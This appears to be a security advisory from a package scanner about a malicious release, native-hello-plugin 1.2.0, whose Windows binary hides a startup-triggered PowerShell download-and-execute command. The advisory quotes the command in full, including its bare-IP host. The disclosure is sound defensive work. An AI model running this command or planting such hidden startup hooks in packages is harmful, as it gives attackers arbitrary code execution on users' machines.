native-hello-plugin @1.2.0

Summary

The shipped Windows-x64 prebuilt hello.node embeds a PowerShell command powershell -Command "iex (iwr 'http://89.124.113.217:8000/update.ps1'...)" and imports system from msvcrt.dll, indicating the string is passed to a shell at runtime. The N-API-exported sha256Hex function is the visible cover; the JS wrapper's register() calls native.sha256Hex(...) at plugin startup ( activation.onStartup: true ), so loading the plugin on Windows fetches and executes an unpinned PowerShell script from a bare IP over plaintext HTTP, yielding arbitrary code execution on the host. The Linux-arm64 sibling hello.node contains only genuine SHA-256 symbols and no network strings, so the malicious behavior was smuggled into the Windows binary while leaving the wrapper and Linux prebuilt clean.

Source: amazon-inspector (385ade063a7b92a8606feb7670b6a685361533f01a8e446798a210a4416a400a)